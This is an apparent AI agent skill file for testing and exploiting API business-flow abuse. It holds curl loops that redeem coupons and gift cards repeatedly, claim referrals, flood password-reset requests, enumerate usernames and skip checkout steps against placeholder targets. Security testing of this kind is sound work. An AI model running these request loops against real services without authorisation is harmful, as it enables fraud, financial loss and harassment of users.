Api business flow abuse

From xalgorix/xalgorix · View interactive version

Api business flow abuse is an AI agent skill from the GitHub repository xalgorix/xalgorix. Testing and exploiting automatable business operations including coupons, referrals, OTPs, reservations, purchases, trials, and pricing at unauthorized scale

How to use this skill

Skill file

API Business Flow Abuse (OWASP API6)

Purpose

Identify and exploit API operations that create business value/cost and test whether they can be automated, repeated, or abused beyond their intended human workflow limits.

Preconditions

Attack Surface Signals

Methodology

Step 1: Identify Business-Valuable Operations

Map endpoints that:

Step 2: Understand the Intended Human Workflow

For each identified operation:

Step 3: Test Repeatability

# Coupon: try redeeming the same coupon multiple times
for i in $(seq 1 5); do
  curl -sk -X POST "https://TARGET/api/coupons/redeem" \
    -H "Authorization: Bearer USER_TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"code":"WELCOME10"}' | jq -r '.success // .status'
done

# Referral: try claiming the same referral bonus repeatedly
curl -sk -X POST "https://TARGET/api/referrals/claim" \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"referralCode":"ABC123"}'

Step 4: Test Cross-Account Abuse

# Can account B use a coupon that account A already used?
curl -sk -X POST "https://TARGET/api/coupons/redeem" \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"code":"WELCOME10"}'

Step 5: Test Automation Resistance

# OTP/email: send many requests rapidly to test throttling
for i in $(seq 1 20); do
  curl -sk -X POST "https://TARGET/api/auth/forgot-password" \
    -H "Content-Type: application/json" \
    -d '{"email":"victim@example.com"}' &
done
wait

# Username enumeration: bulk availability checks
for user in admin root test support api; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/api/users/check?username=$user")
  echo "$user: $code"
done

Step 6: Test Replay / Sequence Skipping

# Can checkout steps be executed out of order?
# e.g., redeem coupon → confirm → pay → apply coupon again
curl -sk -X POST "https://TARGET/api/checkout/apply-coupon" \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" -d '{"code":"WELCOME10"}'
curl -sk -X POST "https://TARGET/api/checkout/confirm" \
  -H "Authorization: Bearer USER_TOKEN"
curl -sk -X POST "https://TARGET/api/checkout/apply-coupon" \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" -d '{"code":"WELCOME10"}'

Step 7: Test Concurrency (where applicable)

# Parallel gift-card redemption
for i in $(seq 1 10); do
  curl -sk -X POST "https://TARGET/api/giftcards/redeem" \
    -H "Authorization: Bearer USER_TOKEN" \
    -H "Content-Type: application/json" \
    -d '{"code":"GIFT123"}' &
done
wait
# Check: did the same card get credited more than once?

Evidence Contract

A business-flow abuse finding requires:

  1. The intended business limit/invariant (e.g., one coupon per account)
  2. The manipulation that violated it (the actual API calls)
  3. Concrete business impact (value credited twice, cost incurred, resources exhausted)
  4. Reproducibility (the same sequence reliably produces the same result)

NOT evidence: The endpoint exists, a coupon code is accepted, an email is sent (single instance)

Common Misses

False Positives / Non-Findings

Xalgorix Tool Strategy

Stopping Rule

Test every identified business-flow endpoint for repeatability, cross-account abuse, automation resistance, and sequence manipulation.

Handoff

Report each confirmed abuse with the operation, the violated invariant, the manipulation, and the concrete business impact (money saved, resources consumed, messages sent, etc.).

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.